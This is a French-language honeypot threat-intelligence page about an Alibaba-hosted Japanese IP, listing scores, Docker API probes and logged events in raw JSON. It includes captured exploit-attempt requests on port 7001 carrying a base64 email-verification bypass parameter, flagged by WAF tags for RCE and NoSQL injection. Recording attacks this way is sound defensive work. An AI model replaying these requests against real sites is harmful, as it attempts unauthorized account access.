Renseignement sur les menaces

Japon

8.216.88.236

FAI Alibaba (US) Technology Co., Ltd. Première vue 29/07/2026 08:00 UTC Dernière vue 30/07/2026 21:49 UTC Risque Critique

Période analysée : 2026-07-02 → 2026-08-01

Activité suspecte — risque 51/100 (Moyen) — MITRE TA0001 — confiance 70 % — via HTTP — multi-protocole (2 protocoles · 5 min)

Base IP Signaler JSON CSV Pro STIX 2.1 · JSON SOC ou contact

Réputation DNSBL WHOIS Ports

24h 7j 30j 90j

Critique · Risque max (7j) Critique

Synthèse exécutive

Profil de menace

Score de risque 99/100 Critique

Première observation 29/07/2026 08:00 UTC

Dernière observation 30/07/2026 21:49 UTC

Événements (période) 5,272

MITRE ATT&CK principal TA0001 2416 occurrences

Activité suspecte — risque 51/100 (Moyen) — MITRE TA0001 — confiance 70 % — via HTTP — multi-protocole (2 protocoles · 5 min)

Pourquoi listée

Synthèse décisionnelle honeypot — seuil de listing maintenu à 1 événement qualifié.

Tentative d'exploit (tag rce-0) · confiance 62%

Confiance 70 % — Score WAF 80 · Bonus corrélation +8 · 3 tag(s) WAF

Comparaison ASN / FAI

ASN 45102 · 8.216.0.0/17 · APNIC — 8 pair(s) ASN/FAI listé(s) — activité locale élevée vs pairs · 5,272 événements sur la période pour cette IP.

8.222.207.193 vnc bruteforce 01/08/2026 00:10 UTC
8.219.166.162 vnc bruteforce 01/08/2026 00:09 UTC
47.251.90.48 Sonde TLS 01/08/2026 00:09 UTC
47.251.89.134 Sonde TLS 01/08/2026 00:09 UTC
47.77.223.127 Sonde Kafka 01/08/2026 00:09 UTC
47.251.188.16 Sonde Kafka 01/08/2026 00:09 UTC
47.77.227.227 Sonde PostgreSQL 01/08/2026 00:09 UTC
47.251.79.205 Sonde PostgreSQL 01/08/2026 00:09 UTC

Événements (filtres)

5,272

Première observation

29/07/2026 08:00 UTC

Dernière observation

30/07/2026 21:49 UTC

Dernière activité (filtres)

30/07/2026 21:49 UTC

Événements 7j

5,272

Ports distincts (7j)

Classifications (7j)

Sévérité max (7j)

Élevée

Activité multi-protocole

Cette IP touche plusieurs services simulés (pas seulement le web).

HTTP TCP 2,599 DOCKER TCP 2,562 WEBLOGIC TCP 69 FTP TCP 6 Telnet TCP 3 JETDIRECT TCP 2 CASSANDRA TCP 2 TLS TCP 2 REDIS TCP 2 ADMIN ALT TCP 1 SPLUNK TCP 1 REMOTEANYTHING TCP 1 SSH TCP 1 ROCKETMQ TCP 1 MONGODB TCP 1 SAP MS TCP 1 PERSONAL AGENT TCP 1 DUBBO TCP 1 SAP Router TCP 1 POSTGRES TCP 1

HTTP

2,599

DOCKER

2,562

WEBLOGIC

FTP

Telnet

JETDIRECT

Géolocalisation

Origine réseau déclarée

Japon unknown unknown

FAI / réseau

Opérateur et dernière activité ban

Alibaba (US) Technology Co., Ltd. 0 Port 2375 docker_api_probe

Renseignement menaces

Score capteur — surveiller, investiguer ou bloquer.

Recommandation

Stade d'attaque

Tentative d'exploit

Chaîne d'attaque

Exploitation

Vecteur d'attaque

exploit attempt · via HTTP:7001 · (tentative d'exploit)

Détails protocole

Méthode: GET
Chemin: /
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0…

Aperçu payload

GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel

Port / service

7001 · HTTP

Service émulé

HTTP

Raison confiance

Confiance 62 % — 3 tag(s) WAF

Technique MITRE

TA0001

Persona capteur

mail.sensor-1.internal

Corrélations comportementales

Multi-protocole corrélé (5 min)

Recommandation

Investiguer

Rôle capteur

Renseignement menaces

Signaux de précision

MITRE-T1190

Confiance

70% Corrélation +8

Famille de menace

unknown

MITRE ATT&CK — tactiques

Reconnaissance Développement Accès Exécution Persistance Élévation Contournement Accès Découverte Mouvement Collecte Commande Exfiltration Impact

Décomposition confiance

Filtres

Les dates De/À priment sur la période. Affinez protocole, port, service et classification.

proto=Tous service=Tous port=Tous type=Tous sév.=Toutes

Période

Protocole

Port (dst)

Service

Classification

Sévérité min

Sévérité max

Réinitialiser

Timeline

5,272 événements filtrés — activité quotidienne

Ports 24 h

Top ports ciblés sur les dernières 24 heures

Top ports

SSH 22, RDP 3389, HTTP alternatifs…

Top classifications

Web, SSH, SAP, scans…

Heatmap attaques 7j

Intensité par jour et heure (UTC capteur)

Chronologie des événements

5272 événement(s) — page 1/106

Horodatage	Proto	Port	Service	Classification	Sévérité	Risque
30/07/2026 21:49:43 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Requête brute (extrait) GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 233, "payload_entropy": 5.614324080875881, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "4207df885b43bd3868fac12a49e8c605", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "request_sample": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko\/20100101 Firefox\/59.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "evidence": { "request_sample": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko\/20100101 Firefox\/59.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "abd85ce1ed97557940eb1484f891be7aed55814c", "protocol_details": { "payload_preview": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:43 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit)	Élevée	Moyen · 51
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537… Émulateur HTTP WAF 18 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950734:sap-sapcontrol-path anomaly:high-entropy-query Cible HTTP GET / TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible / Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 51 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Règles WAF rce-0 nosqli-3 sap-sapcontrol-path Payload (extrait) GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Requête brute (extrait) GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: / Accept-Language: en Acce Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 1, "http_path_depth": 0, "http_path_ext": null, "http_ua_hash": "7d3cd1f2e7cc638aec9cca834b79e63908cafa30", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "5a801b2e2e356242f519fb3a758171c61529692b", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 277, "payload_entropy": 5.583395886771048, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 80, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 5.9, "risk_breakdown": { "waf": 80, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30 }, "risk_score": 51, "tag_count": 5, "anomaly_count": 1, "campaign_key": "882341dbde9e0af76f6b9e2bbae2924278b7913f", "event_fingerprint": "da6b630c60efb5f807c9e83bb993910139a2abd8", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 80, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 51, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "8ac8f9704744e01655f95f59779f054a", "payload_hash": "ed79bb51d0da88063c2ee8d1c2a70b40", "path_pattern_hash": "8a5edab282632443219e051e4ade2d1d" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 51 }, "payload_preview": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel", "method": "GET", "path": "\/", "query_string": "alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "request_sample": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel", "evidence": { "method": "GET", "path": "\/", "query_string": "alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "request_sample": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "041b404d90af8bea6aa9d96a4d2aec990e3dd0f6", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 51\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 80, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 51, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 51, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 80 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path", "anomaly:high-entropy-query", "net_web_probe" ] }
30/07/2026 21:49:42 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /my-account/	Élevée	Moyen · 55
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /my-account/ UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537… Émulateur HTTP WAF 21 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 anomaly:high-entropy-query Cible HTTP GET /my-account/ TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /my-account/ Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 55 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macin Requête brute (extrait) GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: / Accept-La Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 1, "http_path_depth": 1, "http_path_ext": null, "http_ua_hash": "f1222924844c5865b410c7b10d615af8c2b00fed", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "e096e98dd0bdd06744ef9e8d0c95d177bcaca10d", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 293, "payload_entropy": 5.616302202873281, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 92, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 5.9, "risk_breakdown": { "waf": 92, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30 }, "risk_score": 55, "tag_count": 5, "anomaly_count": 1, "campaign_key": "572a939b6127c17dcf02fb1fbed22e8e8cc59c40", "event_fingerprint": "f8996e576949f7869a5d9e85a0ece523cbf907e8", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 92, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 55, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": 